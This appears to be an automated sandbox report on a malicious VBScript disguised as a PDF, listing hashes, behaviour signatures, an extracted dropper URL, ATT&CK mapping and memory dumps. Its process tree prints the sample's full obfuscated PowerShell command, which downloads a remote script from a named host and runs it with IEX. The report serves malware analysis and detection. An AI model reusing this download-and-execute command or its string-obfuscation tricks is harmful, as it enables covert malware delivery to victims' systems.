b1a19a89c4c0b8efa1ebf594bd266b914e3f5621d12edff2fbf4d48bb0e32447

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-en-20211014
submitted
25-10-2021 06:15

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General

Target

ATGSVCN64670.pdf.vbs
Size

741B
MD5

e06db4f9c991c9e5e4df226f567b8a99
SHA1

389820f7a7449f175ee6a5bb2d80004f42613638
SHA256

b1a19a89c4c0b8efa1ebf594bd266b914e3f5621d12edff2fbf4d48bb0e32447
SHA512

bddc4feed5b04b276b9fb0dc85825a1455efb6c297e182680e918523f4bf96a73d990a3dcd61a1a6d6a65bbd5a2e5f974b1d77d27c301ed46e58a54849328a19

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://lacycoligan.com/.Final.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 108 powershell.exe
6 108 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

108 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 108 powershell.exe

flow	pid	process
5	108	powershell.exe
6	108	powershell.exe

pid	process
108	powershell.exe

description	pid	process
Token: SeDebugPrivilege	108	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1648 wrote to memory of 108	1648	WScript.exe	powershell.exe
PID 1648 wrote to memory of 108	1648	WScript.exe	powershell.exe
PID 1648 wrote to memory of 108	1648	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ATGSVCN64670.pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow^!loadStri^!g'.replace('^!','n'),[Microsoft.VisualBasic.CallType]::Method,'https://+++++++++++++++++++++.com/.Final.txt'.Replace('+++++++++++++++++++++','lacycoligan'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:108

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/108-56-0x0000000000000000-mapping.dmp

Download
memory/108-58-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp

Filesize
11.4MB

Download
memory/108-61-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/108-60-0x0000000002832000-0x0000000002834000-memory.dmp

Filesize
8KB

Download
memory/108-59-0x0000000002830000-0x0000000002832000-memory.dmp

Filesize
8KB

Download
memory/108-62-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/108-63-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/1648-55-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

Filesize
8KB

Download